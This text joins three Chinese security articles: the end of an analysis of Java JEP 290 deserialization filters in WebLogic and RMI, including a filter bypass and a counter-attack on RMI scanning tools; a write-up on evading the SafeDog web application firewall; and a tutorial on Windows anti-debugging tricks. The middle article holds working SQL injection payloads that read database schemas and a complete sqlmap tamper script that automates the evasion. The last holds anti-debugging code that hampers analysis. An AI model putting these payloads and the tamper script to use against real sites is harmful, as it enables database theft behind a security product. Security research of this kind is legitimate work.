用一段话来阐述 weblogic 中 全局过滤器赋值的流程就是：
weblogic 启动的时候，会调用 `WeblogicObjectInputFilter` 的 `initializeInternal`
方法进行初始化，首先会`new` `JreFilterApiProxy` 对象，这个对象相当于JEP 290 有关操作的代理对象，里面封装了操作
`Config` 静态类的方法。然后会 `new` 一个 `WeblogicFilterConfig` 对象，这个对象在 `new` 的时候会把
weblogic 的黑名单赋值到 `WeblogicFilterConfig` 对象的属性中。之后，会从`WeblogicFilterConfig`
对象属性中取 `serialFilter` ，调用 `JreFilterApiProxy` 对象的 `setGlobalFilter` 来赋值
`Config.serailFilter` 。
## 局部过滤器
设置局部过滤器的意思是在 `new` `objectInputStream` 对象之后，再通过改变单个 `ObjectInputStream` 对象的
`serialFilter`字段值来实现局部过滤。
改变单个 `ObjectInputStream` 对象的 `serialFilter` 字段是有两种方法：
1.通过调用 `ObjectInputStream` 对象的 `setInternalObjectInputFilter` 方法：
注：低于 `JDK 9` 的时候，是 `getInternalObjectInputFilter` 和
`setInternalObjectInputFilter`，`JDK 9` 以及以上是 `getObjectInputFilter` 和
`setObjectInputFIlter` 。
2.通过调用 `Config.setObjectInputFilter` ：
局部过滤器典型的例子是 RMI 中针对 `RegsitryImpl` 和 `DGCImpl`有关的过滤。
### RMI 中采用了局部过滤
#### RMI 简单介绍
RMI 分为客户端和服务端，官方文档：<https://docs.oracle.com/javase/tutorial/rmi/overview.html>
下面是对 RMI 官方文档介绍的理解：
另外 RMI 中其实并不一定要 `RegistryImpl` ,也就是我们熟称的注册中心，RMI
完全可以脱离注册中心来运行。可以参考：<https://www.jianshu.com/p/2c78554a3f36>
。个人觉得之所以使用注册中心是因为注册中心的 `Registry_Stub` 以及 `Registry_Skel`
会为我们自动进行底层的协议数据通信（JRMP 协议），能让使用者可以不关心底层的协议数据交流，而专注在远程对象的调用上。
RMI 服务端远程对象导出实际上是将这个对象分装成一个 `Target` 对象，然后存放在 `ObjectTable#objTable` 这个静态的
HashMap 中：
每个`Target`对象都包含一个唯一的 `id` 用来表示一个对象，像 `RegistryImpl` 的 `id`就比较特殊是 0 ，其他普通对象的 id
都是随机的：
客户端要对服务端对象进行远程调用的时候，是通过这个 id 来定位的。
`ObjectTable#putTarget` 方法：
`ObjectTable#getTarget` 方法：
`ObjectEndpoint` 中的 `equals` 方法，可以看到是判断 `id` 和 `transport` ， `transport`
一般情况是相等的，所以一般都是通过 `id` 来判断：
#### RegistryImpl 对象与 JEP 290
`RegistryImpl` 作为一个特殊的对象，导出在 RMI 服务端，客户端调用的 `bind` , `lookup`，`list`
等操作，实际上是操作 `RegistryImpl` 的 `bindings` 这个 `Hashtable`。
`bind`：
`lookup`：
`list`：
这里我们之所以称`RegistryImpl` 是一个特殊的对象，是因为 ``RegistryImpl` 导出过程中生成 `Target`
对象是一个“定制”的 `Target` 对象，具体体现在:
1.这个Target 中 id 的 objNum 是固定的，为 ObjID.REGISTRY_ID ，也就是 0 。
2.这个Target 中 disp 是 filter 为 RegisryImpl::RegistryFilter ,skel 为 RegsitryImpl_skel 的 UnicastServerRef 对象。
3.这个Target 中 stub 为 RegistryImpl_stub。
对比普通对象导出过程中生成的 `Target` ：
##### 导出过程
首先 `LocateRegistry.createRegsitry`：
`new RegistryImpl(port)`中会 `new` 一个`UnicastServerRef`对象，将 `RegistryImpl` 的
`id`（`OBJID.REGISTRY_ID`，也就是 0 ） 存入到 `LiveRef` 对象，随后 `LiveRef`对象赋值到
`UnicastServerRef` 对象中的 `ref` 字段，并且将 `RegsitryImpl::registryFilter` 赋值给这个
`UnicastServerRef` 对象的 `filter` 字段：
`RegistryImpl` 的 `id` 是 0 ：
随后在 `RegistryImpl#setup` 中调用 `UnicastServerRef.exportObject` 进行对象导出：
`UnicastServerRef.exportObject` 中会将远程对象分装成一个 `Target` 对象,并且在创建这个 `Target`
对象的时候，将上面的 `UnicastServerRef` 对象赋值为 `Target`中的 `disp`。于是这个 `Target` 对象的 `disp`
就设置为了有 `filter` 的 `UnicastserverRef`。
随后调用 `LiveRef.exportObject` ：
会调用 `TCPEndpoint.export`:
调用 `TCPTransport.exportObject`，在这一步会开启端口进行监听：
随后后调用到 `Transport.export`，可以看到就是将这个 `Target` 放到 `ObjectTable#objTable` 中：
##### 服务端处理请求过程
处理请求是在 `Transport#serviceCall`，首先从输入流中读取 `id` , 匹配到 `RegistryImpl` 对象对应的
`Target` 。
随后调用 `UnicastServerRef.dispatch`：
在 `UnicastServerRef#dispatch` 中，由于 `UnicastServerRef.skel` 不为 `null` ，所以会调用
`UnicastServerRef#oldDispatch` 方法：
`oldDispatch` 中会先调用 `unmarshalCustomCallData(in)` 方法，再调用
`RegistryImpl_skel.dispatch` 方法。
`unmarshalCustomCallData` 方法中会进行判断，如果 `UnicastServerRef.filter` 不为 `null`
,就会设置 `ConnectionInputStream`的 `serialFilter` 字段值为 `UnicastServerRef.filter`
（设置单个 `ObjectInputStream` 的 `serialFilter` 属性，局部过滤的体现）：
再看 `RegistryImpl_skel.dispatch` ：
我们以 `bind` 为例来讲解：
#### DGCImpl 对象与 JEP 290
`DGCImpl` 对象和 `RegistryImpl` 对象类似都是一个特殊的对象，他的”定制“ `Target` 对象的特殊体现在：
1.这个Target 中 id 的 objNum 是固定的，为 ObjID.DGC_ID ，也就是 2 。
2.这个Target 中 disp 是 filter 为 DGCImpl::DGCFilter ,skel 为 DGCImpl_skel 的 UnicastServerRef 对象。
3.这个Target 中 stub 为 DGC_stub。
##### 导出过程
`DGCImpl` 会在导出 `RegsitryImpl` 的时候导出，具体分析如下：
`DGCImpl`静态代码块中会将一个 `DGCImpl` 封装为一个 `Target` 放到 ObjectTable 中，这个 `Target`
有以下特征：
`DGCImpl`静态代码块会在 `createRegistry` 的时候触发，调用链如下：
具体原因是在导出 `RegistryImpl` 对象的时候，会传入 `permanent` 为 `true` :
就会导致 `new` `Target` 中会触发 `pinImpl` 方法：
然后在调用 `WeakRef.pin` 方法的时候，会触发 `DGCImpl` 的静态代码块。
也就是说在 `createRegistry` 的时候，会把 `DGCImpl` 和 `RegistryImpl` 封装的 `target` 都放到
`ObjectTable#objTable` 中。
##### 服务端处理请求过程
服务端处理 `DGCImpl`的请求过程和 `RegistryImpl` 非常类似，都是在`Transport#serviceCall`中处理，调用
`UnicastServerRef#dispatch`，再调用`UnicastServerRef#oldDispatch` 最后在
`UnicastServerRef#unmarshalCustomCallData` 中为之后进行`readObject` 操作的
`ConnectionInputStream.serialFilter` 赋值为 `DGCImpl::checkInput`。
`DGCImpl#checkInput`：
#### 通过 JVM 参数或者配置文件进行配置
##### 对于 RegistryImpl
在 `RegistryImpl` 中含有一个静态字段 `registryFilter` ，所以在 `new` `RegistryImpl`对象的时候，会调用
`initRegistryFilter` 方法进行赋值：
`initRegistryFilter`方法会先读取 JVM 的 `sun.rmi.registry.registryFilter` 的属性，或者是读取
`%JAVA_HOME%\conf\security\java.security` 配置文件中的
`sun.rmi.registry.registryFilter` 字段来得到 JEP 290 形式的 pattern ，再调用
`ObjectInputFilter.Config.createFilter2` 创建 `filter`并且返回。
`%JAVA_HOME\conf\security\java.security%` 文件：
`RegistryImpl#registryFilter`函数会先判断 `RegistryImpl#regstiryFilter` 字段是否为 null
来决定使用用户自定义的过滤规则，还是使用默认的白名单规则，如果不是 null 的话，会先调用用户自定义的过滤规则进行检查，接着判断检查结果，如果不是
`UNDECIDED` 就直接返回检查的结果，否则再使用默认的白名单检查。
##### 对于 DGCImpl
在 `DGCImpl` 中含有一个静态字段 `dgcFilter` ，所以在 `new` `DGCImpl`对象的时候，会调用
`initDgcFilter` 方法进行赋值：
`initDgcFilter`方法会先读取 JVM 的 `sun.rmi.transport.dgcFilter` 的属性，或者是读取
`%JAVA_HOME\conf\security\java.security%` 配置文件中的 `sun.rmi.transport.dgcFilter`
字段来得到 JEP 290 形式的 pattern ，再调用 `ObjectInputFilter.Config.createFilter` 创建
`filter`并且返回。
`%JAVA_HOME%\conf\security\java.security` 文件：
`DGCImpl#checkInput`和 `RegistryImpl#registryFilter`函数类似，会先判断
`DGCImpl#dgcFilter` 字段是否为 null 来决定使用用户自定义的过滤规则，还是使用默认的白名单规则，如果不是 null
的话，会先调用用户自定义的过滤规则进行检查，接着判断检查结果，如果不是 `UNDECIDED` 就直接返回检查的结果，否则再使用默认的白名单检查。
#### RMI 中 JEP 290 的绕过
网上公开资料广泛说的是：如果服务端"绑定"了一个对象，他的方法参数类型是`Object` 类型的方法时，则可以绕过 JEP 290。
其实剖析本质，是因为服务端 **导出** 的这个 ”普通的对象“ 对应的 `Target` 对象中的 `disp` （其实是
UnicastServerRef 对象) 的 `filter` 是 `null` 。
普通的对象导出的 `target` 如下：
下面我们来具体跟以下流程分析，首先准备客户端和服务端代码如下：
服务端和客户端共同包含接口的定义和实现：
服务端代码如下：
恶意客户端代码如下：
##### 普通对象的导出过程
普通对象的导出有两种方式，一种是继承 `UnicastRemoteObject` 对象，会在 `new` 这个对象的时候自动导出。第二种是如果没有继承
`UnicastRemoteObject` 对象，则需要调用`UnicastRemoteObject.export`进行手动导出。但其实第一种底层也是利用
`UnicastRemoteObject.export` 来导出对象的。
下面我们来讨论继承 `UnicastRemoteObject` 类的情况：
因为这个普通对象继承自 `UnicastRemoteObject`类，所以在 new 这个普通对象的时候会调用到 `UnicastRemoteObject`
的构造方法：
进而调用 `UnicastRemoteObject.exportObject` 方法：
`UnicastRemoteObject#exportObject` 方法中再使用 `UnicastServerRef#exportObject`
,这里可以看到在 `new` `UnicastRemoteObject` 的时候 **并没有传入 filter** ：
对比导出 `RegistryImpl` 对象的时候， `new` `UnicastRemoteObject` 对象传入了
`RegistryImpl::registryFilter`：
接着会调用 `UnicastServerRef.exportObject` 方法：
所以普通对象生成的 Target 对象的 disp 中 filter 就为 null ，另外这里的 skel 也为 null 。
后面导出 `Target` 的过程和 导出`RegistryImpl`对应的 `Target`是一样的，最后会将这个普通对象的 `Target` 放到
`objectTable#objTable`中。
绑定成功后的 `ObjectTable#objTable`:
##### 服务端处理请求的过程
同样处理请求的入口在 `Transport#serviceCall`，首先从输入流中读取 `id` , 匹配到 `RegistryImpl` 对象对应的
`Target` 。
然后取出 `disp` ,调用 `disp.dispatch` ：
首先由于 `skel` 为 `null` ，所以不会进入 `oldDispatch` , 像 `RegistryImpl` 和 `DGCImpl`
因为他们的 `skel` 不为 `null` ,所以会进入到 `oldDispatch`：
接着会匹配到方法，拿到方法的参数，接着进行反序列化：
`unmarshalCustomCallData` 方法:
`unmarshalValue` 方法对输入流中传入的参数进行反序列化：
执行 `in.readObject` 之后，成功弹出计算器：
##### 反制
利用上面这种方法绕过 JEP 290 去攻击 RMI 服务端，网上有一些工具，比如 rmitast 和 rmisout 。
但是对于使用 rmitast 或者 rmisout 这些工具，或者调用 `lookup()` 来试图攻击RMI 服务端 的时候，我们可以使用
如下的恶意服务端代码进行反制：
###### 反制 RegistryImpl_Stub.lookup
我们来看一下`RegistryImpl_Stub.lookup`对服务端返回的结果是怎么处理的，可以看见在
`RegistryImpl_Stub.lookup` 会直接对服务端返回的对象调用 `in.readObject` 方法，而 `in` 的
`serialFilter`在这里是为 `null` 的：
所以客户端在进行 `RegistryStub.lookup` 操作的时候会直接导致 RCE ：
同理 `RegistryStub.list` 也是如此：
但是用上面的服务端恶意代码并不能触发 RCE ，因为上面服务端恶意代码是利用 `Registry_skel` 来写入对象的，可以看到写入的是一个字符串数组：
###### 反制 rmitast
我们以 `rmitast` 中的 枚举模块为例：
步入 `enumerate.enumerate()` 里面是具体的实现原理：
首先 `Enumerate.connect(this.registry)` 返回的实际上是 `RegistryImpl_Stub` 对象，底层调用的是
`LocateRegistry.getRegistry` 方法。
然后调用 `this.registry.loadObjects()`, `this.list()` 实际调用的是
`RegistyImpl_Stub.list()` 方法，得到注册中心的所有绑定的对象名：
接着会调用 `this.loadObjects(names)`, 会调用 `this.lookup(name)` ，底层实际使用的是
`RegistryImpl_Stub.lookup()` 方法，上面分析过 `RegistryImpl_Stub.lookup`
会直接反序列化服务端传过来的恶意对象，并且 `readObject`时使用的`ObjectInputStream` 对象中的 `serialFilter`
是 `null`。
我们启动上面的恶意服务端，然后使用 RmiTaste 的 enum 模块：
运行之后会导致使用 RmiTast 的一端 RCE ：
# 总结
JEP 290 主要是在 `ObjectInputStream` 类中增加了一个`serialFilter`属性和一个 `filterChcek`
函数，其中 `serialFilter`就可以理解为过滤器。
在 `ObjectInputStream` 对象进行 `readObject` 的时候，内部会调用 `filterChcek`
方法进行检查，`filterCheck`方法中会对 ``serialFilter`属性进行判断，如果不是 `null` ,就会调用
`serialFilter.checkInput` 方法进行过滤。
设置过滤器本质就是设置 `ObjectInputStream` 的 `serialFilter` 字段值，设置过滤器可以分为设置全局过滤器和设置局部过滤器：
1.设置全局过滤器是指，通过修改 `Config.serialFilter`这个静态字段的值来达到设置所有 `ObjectInputStream`对象的
`serialFilter`值 。具体原因是因为 `ObjectInputStream`
的构造函数会读取`Config.serialFilter`的值赋值到自己的`serialFilter`字段上，所有就会导致所有 `new` 出来的
`ObjectInputStream`对象的 `serailFilter` 都为`Config.serialFilter`的值。
2.设置局部过滤器是指，在 `new` `ObjectInputStream` 的之后，再修改单个 `ObjectInputStream` 对象的
`serialFilter` 字段值。
# 参考
<https://www.cnpanda.net/sec/968.html> JEP290的基本概念
<https://www.jianshu.com/p/2c78554a3f36> 深入理解rmi原理
<http://openjdk.java.net/jeps/290> JEP 290 官方文档
<https://www.cnblogs.com/Ming-Yi/p/13832639.html> Java序列化过滤器
<https://www.runoob.com/java/java8-functional-interfaces.html> Java 8 函数式接口
<https://www.jianshu.com/p/40f833bf2c48> 函数式接口和Lambda表达式深入理解
<https://juejin.cn/post/6844903892166148110> 「Java8系列」神奇的函数式接口 | 社区文章 |
## 0x00：前言
安全狗又偷偷摸摸更新了
## 0x01：绕过
之前安全狗就像没开发完一样，简单内联就过去了，但是现在的安全狗摇身一变，变得稳重了起来。
就连报错界面都变成了大人的模样。
看这架势，不好过啊
首先 and 内敛注释依旧是可以过的，看来安全狗并没有太过关注and，可能是觉得后面的规则比较牛，知道有注入也没用？
然后是order by ，从这里开始，事情就变得微妙了起来
猜测规则是order by 组合强规则，意思就是order by中间无论加什么都过不去
随便试一试
果然，但是有没有发现，我fuzz的符号里没有加＃号，因为加了就会这样
由于锚点这个特殊性，盲猜这是一个突破点
可能安全狗遇到注释也会直接截断掉后面的语句（类似某锁），那就好说了，构造个注释在语句前面即可
居然没过，小看你了安全狗，看来order by规则还没失效，那么 尝试隔断order by
中间加个%0a
轻轻松松
接下来是union select 组合
同理，也可以这样过
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
下一个是user()这类函数，这里也是个坑，发现直接括号会被拦
去一个右括号就没事了，这规则也是无语
既然如此，在括号里下文章即可
依然是换行加注释绕过
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
然后是INFORMATION_SCHEMA 这玩意，居然也被加到了规则里，
没关系，继续构造换行注释，
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +
## 0x02：tamper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\" /*!11444order %0a by*/")
payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
payload=payload.replace(" AND","/*!11444AND*/")
payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP \"[...%25%23]\"*/ %0a select /*REGEXP \"[...%25%23]\"*/")
payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ")
payload=payload.replace("()","(%0a /*!80000aaa*/)")
payload=payload.replace(" AS","/*!11444AS*/")
payload=payload.replace("FROM","/*!11444FROM*/")
payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a INFORMATION_SCHEMA")
payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
return payload
题外话 某锁也能这样过
代码已更新至github
<https://github.com/pureqh/bypasswaf> | 社区文章 |
# Windows调试艺术——断点和反调试（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
《Windows调试艺术》主要是记录我自己学习的windows知识，并希望尽可能将这些东西在某些实际方面体现出来。恰好最近我在为学校的新生校赛出题，想着来个反调试的”大杂烩”，里面有几个反调试技术恰好是基于前面几篇的内容，这一次我们就将之前学习过的PEB、SEH等等的知识用到反调试的实际应用上。
需要的知识基础：
* [Windows调试艺术——利用LDR寻找dll基址](https://www.anquanke.com/post/id/173586)
* [Windows调试艺术——从0开始的异常处理（上）](https://www.anquanke.com/post/id/175293)
* [Windows调试艺术——从0开始的异常处理（下）](https://www.anquanke.com/post/id/175753)
## 基于中断、异常的反调试
### 利用SEH和软件断点机制实现反调试
首先简单回忆一下SEH的处理，当用户引发了一个异常时，程序会遍历当前线程的SEH链表来检查能否处理该异常，如果能，就将该异常交给异常处理例程进行处理，并在处理完成后重新执行异常代码。SEH链表的头部保存在FS:[0]中，越晚设置的SEH越早处理，我们可以用以下的代码装载自己的SEH
push seh //将自己的SEH函数地址压栈
push DWORD ptr fs : [0] //将之前的SEH头压栈
mov DWORD ptr fs : [0], esp //esp指向的地方恰好构成了新的EXCEPTION_REGISTRATION_RECORD
再来回忆一下断点的知识，我们的od下的软件断点，实际上是将下断点处的指令替换为0xCC（也就是INT
3），当程序跑到这里，发现这是个异常，然后根据IDT（中断描述符表）去寻找相应的中断处理例程，再经过异常分发，从而实现断点的功能。
假设在此处下断点
C645 FC 00 mov byte ptr [ebp-4],0
53 PUSH EBX
断点后的指令应为
CC int 3
45 FC 00 被识别为其他指令
53 PUSH EBX
但是我们会发现，在使用od下断点时，指令在我们这边并没有看到改变，另外，我们下的断点处并没有执行。如果按照之前的理论的话这条指令由于被覆盖成了0xCC所以”废”了才对，指令不应该停留在此，之后应该直接去执行45
FC 00才对，而这又会引发一个新的问题，这个45 FC 00到底是不是个可以识别的指令，不是的话该怎么办，是的话程序逻辑错了怎么办？
第一个问题很简单，实际上调试器给我们做了”伪装”，实际上指令已经变了，只不过展示给用户的还是C645 FC
00，而第二、三个问题就稍微复杂一些了，为了解决这个问题，我们就需要恶补一点关于软件断点的知识了。
当调试器遇见INT
3时，首先会执行类似初始化的操作，在《英特尔IA-32架构软件开发手册》中我们可以找到相应的代码，为了理解方便，这里我写了效果相同的伪代码
if (中断向量号 not in 中断向量表)
General_Protection_Exception()
if (栈 not have sizeof(cs)+sizeof(eip))
Stack_Exception()
else
IF=0
TF=0
AC=0
push cs
push eip
cs =对应异常处理例程的cs
eip=对应异常处理例程的eip
上面的处理实际上在栈里维护了一个结构，它保存着相关寄存器的信息，也被叫做TRAP_FRAME陷阱帧，而之后就该进入中断处理例程了。我们可以用windbg来查看具体的函数，注意要在内核调试状态，命令如下
!idt
uf Trap3地址
这里有很多操作就不再一一详细论述，但比起其他的中断处理例程，显然它多出了如下的部分
mov ebx, [ebp+68h]
dec ebx
mov ecx, 3
mov eax, 80000003h
call CommonDispatchException
这里的ebx实际上就是之前压栈的eip了，dec令其自减1，也就是说之前本来指向45 FC 00的eip又重新指向了INT
3了，之后当我们恢复执行时，调试器再将INT 3位置的hex填充回C6，程序也就恢复”正常”了，这就解决了我们之前的两个问题。
但是问题就又来了，你程序恢复正常，可用户那可没取消这个断点啊！有过调试经验的人都知道，我们下了断点后，执行过去断点还在那，不会取消，可按照上面的逻辑INT
3已经被”修复”了，之后应该没有了才对。
这个问题也很简单，调试器会维护一个记录断点信息的文件（如VC6的文件是.opt），当我们执行过一个断点后，调试器设置一个标志位的硬件断点，当执行完下断点的指令后再次中断，这次中断就会将记录的断点信息全部设置一遍，也就解决了这个问题。
有了上面的知识，我们就可以开始构思一个简单的反调试软件了，既然调试器是用int 3实现软件断点，那我们也完全可以用个假的int
3来骗调试，让它误以为此处应该进行中断处理（如果在非调试器下，则会因为INT
3指令进入异常处理），然后陷入我们提前布置好的陷阱，由于各个调试器的具体处理略有差异，所以具体调试情况可能略有出入，以下均使用VS调试器进行
bool anti_debug() {
BOOL flag = FALSE;
__asm {
push my_seh
push DWORD ptr fs : [0]
mov DWORD ptr fs : [0], esp
__emit(0xcc)
mov flag, 1
jmp remove_seh
my_seh :
mov eax, dword ptr ss : [esp + 0xc];
mov dword ptr ds : [eax + 0xb8], remove_seh
xor eax, eax
retn
remove_seh:
pop dword ptr fs : [0]
add esp, 4
}
return flag;
}
上面代码中，__emit()函数相当于将里面的hex转换为指令，0xCC自然就是INT
3了，首先我们将自己的SEH处理函数my_seh装载了，然后设置了假的断点。如果是在调试器内，INT3就被很平常的执行了，然后直接下一句将flag置为1，最终用remove_seh卸载了我们的seh，如图所示，在vs调试器中我们成功将flag置为了1。
而在非调试器环境下由于INT
3会进入我们的my_seh中，先是拿到了EXCEPTION_REGISTRATION_RECORD的地址，将我们卸载自己seh的remove_seh装载进去，现在的SEH链表的第一个处理函数就是我们的remove_seh了，再次触发断点异常时我们自己的SEH函数就被卸载了，程序也就正常执行下去了。注意，这里的esp+0xc是实际计算出来的，如果你改了代码此处也需要修改，不改或者改错的话就会导致SEH始终是之前的SEH，也就是会无限循环处理该异常。
同样我们也可以将这个思路放到函数隐藏上，我们可以将自己的函数伪装成SEH的处理函数，然后我们在执行过程中故意设置一个异常，迫使程序进入SEH处理函数，如下图代码所示
bool seh()
{
bool bDebugging = false;
__asm
{
push getFlag
push DWORD ptr fs : [0]
mov DWORD ptr fs : [0], esp
__emit(0xcc)
}
return bDebugging;
}
int main()
{
scanf_s("%s", &a, 25);
seh();
printf("bye~~~~~");
return 0;
}
其中getFlag也就是我们的关键函数，我们生成可执行文件并用ida打开
可以看到我们的函数被隐藏了起来，不太容易被发现了，而如果用od调试的话，会因为od会“无视”INT
3，反而导致调试者进不去关键函数了，成功提高了程序被逆向的难度。不过这里还是要注意处理无限循环的问题，因为我们的函数如果没有修复断点异常的话就会导致程序再次执行断点进行无限循环，导致程序崩溃。
当然，我们还可以更变态一点，使用多层SEH，每一层的SEH都对应一部分的解密函数，这样调试者就很难理清里面的关系了
void seh3()
{
printf("this is seh3");
Sleep(1000000);
}
void seh2()
{
printf("this is seh2");
__asm
{
push seh3
push DWORD ptr fs : [0]
mov DWORD ptr fs : [0],esp
__emit(0xcc)
}
}
void seh1 ()
{
printf("this is seh1");
__asm
{
push seh2
push DWORD ptr fs : [0]
mov DWORD ptr fs : [0], esp
__emit(0xcc)
}
}
int main()
{
printf("welcome to skctf");
__asm
{
push seh1
push DWORD ptr fs : [0]
mov DWORD ptr fs : [0], esp
__emit(0xcc)
pop dword ptr fs : [0]
add esp, 4
}
printf("bye");
}
至于会输出什么大家可以猜猜，要注意这里的多重SEH的卸载是很难操作的，所以我最后是让程序sleep，防止无限循环。
### 利用UnhandledExceptionFilter与软件断点机制实现反调试
UnhandledExceptionFilter我们在之前的文章中也详细说了，实际上它就是SEH的”不得已”处理例程，只有当seh链上的处理函数都无法处理异常时才会触发，我们可以把它看作是SEH的一种特殊情况，我们可以通过以下代码设定我们自定义的UnhandledExceptionFilter，至于详细的执行过程可以参考之前的文章
UnhandledExceptionFilter（function_name）
思路和上面的一样，同样是利用调试器对于断点的处理机制进行构造，代码如下：
LONG WINAPI Exception(
_In_ struct _EXCEPTION_POINTERS *ExceptionInfo
) {
ExceptionInfo->ContextRecord->Eip += 5;
return EXCEPTION_CONTINUE_EXECUTION;
}
bool CheckDebug() {
bool flag = false;
__asm {
__emit(0xCC);
mov flag, 1
}
return flag;
}
当程序被调试时，如图所示，0xcc相当于被忽视，flag被设置为1。而在正常运行时，由于断点触发SEH处理，我们并没有可以解决该异常的处理函数，所以调用了Exception函数。
Exception函数设置了EXCEPTION_POINTERS结构，这个结构我们也详细说过了，这里主要是调整EIP的值实现跳过INT
3，要不然的话又会触发无限循环的断点异常。
### 0xCC检测
我们说了软件断点会让原本位置的指令替换成0xcc进而实现中断，那如果我们正在调试一个windows
GUI程序的话，我们是不是会经常在比如MessageBox、GetDlgltemText等API处下断点？那我们只需要利用指针指向这些函数指令的起始地址，检测是否为0xcc即可实现反调试，代码如下：
bool CheckDebug())
{
bool flag = false;
PBYTE pCC = (PBYTE)MessageBoxW;
if (*pCC == 0xCC)
{
flag = 1;
}
return flag;
}
那我们又可以从这个基础上出发，如果说我们划定一块代码区域，那这一片区域的0xcc的数量是不是应该是个固定的值？如果调试者下了断点，那就会导致这个数量变化。
bool CheckDebug_Checksum()
{
bool flag = FALSE;
__asm {
call CHECKBEGIN
begin:
pop esi
mov ecx, 0x15
xor eax, eax
xor ebx, ebx
check:
movzx ebx, byte ptr ds : [esi]
add eax, ebx
rol eax, 1
inc esi
loop check
cmp eax, 0x1859a602
je _NOT_DEBUGGING
mov flag, 1
_NOT_DEBUGGING:
}
return flag;
}
CHECKBEGIN的开始我们pop了esi，实际上就是拿到了当前的代码的地址，ecx作为循环的计数器，接着清空了eax和ebx为之后做准备
check部分就是靠着esi拿到了每一条指令的十六进制码，最终经过处理后和我们设定的值比较，如果不是的话就说明程序的汇编代码被修改过了，存在调试器。
### GetLastError
这个函数我们在之前的格蠹汇编练习题中提到过，我们也解释了相关的WER机制，简单的说，这个函数就是将最后一个错误汇报给我们，那我们可以先设置一个error，然后执行一个仅在调试器中有意义的函数，如果error变了，说明函数错了，我们没在调试器中，如果没变，说明函数正常执行了，那就是在调试器中了。
bool CheckDebug()
{
DWORD error = 11111;
bool flag = false;
SetLastError(error);
OutputDebugString(" ");
if (GetLastError() == error)
{
flag = 1;
}
return flag
}
OutputDebugString函数是在调试器中输出一段话的意思，如果在非调试状态下自然就失效了，失效了就会导致last
error发生变化，也就和我们最开始设定的error不同啦。
### INT 2D
我们说过一般调试器使用INT 3来实现断点机制，但INT
2D同样能够实现断点功能，只不过它一般用作内核调试时的断点指令，但是其实在用户态它一样可以发挥作用，不过要注意的是有些调试器对齐处理有所差别，不过无伤大雅，我们将之前的INT
3改为INT 2D，可以看到效果相同。
## 硬件断点的反调试
上面我们详细说明了软件断点的机制并且了解了基于软件断点的反调试技术，下面让我们看看硬件断点的相关知识。
大家对ESP定律脱壳应该都不陌生，在PUSHAD后我们会下一个叫做”数据访问断点”的特殊断点，当程序访问这段数据时，就会断下来等待我们的调试。现在如果是我们来设计这个功能，我们能够用0xcc来实现吗？显然不能，0xcc作为指令有它的”先天缺陷”
——
它必须要执行（被当作代码）才能触发。那我们来构思一种断点机制，它可以保存地址，只要是对这个地址进行了操作，不管是读写还是执行，我们就断下来，这不就可以实现在数据处下断点的功能了吗？
这其实就是硬件断点的精髓，Windows采用了DR0～DR7的8个调试器来实现硬件断点，它们各自承担着不同的职能：
* DR0～DR3，调试地址寄存器，顾名思义是用来存放地址的，即然有4个说明我们的硬件断点理论上最多有四个
* DR6（DR4等价于RR6），调试状态寄存器，它向调试器的断点异常处理程序提供断点的详细信息
* DR7（DR5等价于DR7），调试控制寄存器，它对应许多标志位，实现了区分不同的硬件断点
当我们下一个硬件断点时，断点又可以分为以下的三类：
* 代码访问断点，也就是我们的调试地址寄存器指向的是代码段的一句指令，运行到此处时就会触发断点。听起来和软件断点似乎没有什么不同，但要注意，我们并没有用0xcc去覆盖指令，这就意味着我们不需要复杂的操作来善后，更关键的是，当我们下软件断点时，因为要覆盖，所以要覆盖的指令必须先存在，如果碰到SMC类的程序（如果不知道的朋友可以当作是代码边执行边生成，并不是一次性出现了全部代码）就会碰到下不上断点的尴尬处境，而硬件断点因为是地址，哪怕某个时刻该地址的指令还没被加载，也一样可以下断点。另外，大家最熟悉的单步调试实际上也是用了这个原理。
* 数据访问断点，我们的调试地址寄存器指向的是一段数据，一旦数据被修改被访问我们就可以立刻断下来，是用来监测全局变量、局部变量的好帮手
* I/O访问断点，对于此类断点在用户态调试时用的并不多，但是对于经常和io打交道的驱动程序来说就很常用了。
通过上面的说明，我们应该很容易想到预防硬件断点的反调试手段，即然你用的是寄存器表示，我只需要看看你寄存器的值是不是空就可以判断你是不是下过硬件断点了
BOOL CheckDebug()
{
bool flag;
CONTEXT context;
HANDLE hThread = GetCurrentThread();
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &context);
if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0)
{
flag = 1;
}
return flag;
}
## 基于PEB等的反调试
### BeingDebugged
PEB即Thread Environment
Block，线程环境块，我们之前说过了几个它的重要成员，我们提到过偏移为0×002的BeingDebugged是标示进程是否处于被调试状态的一个标志位，那我们自然可以用它来探测了
代码如下：
bool CheckDebug() {
bool bDebugged = false;
__asm {
MOV EAX, DWORD PTR FS : [0x30]
MOV AL, BYTE PTR DS : [EAX + 2]
MOV bDebugged, AL
}
return bDebugged;
}
FS:[30]也就是PEB的地址，+2也就是拿到了BeingDebugged的值
可以看到在调试状态下确实返回了1
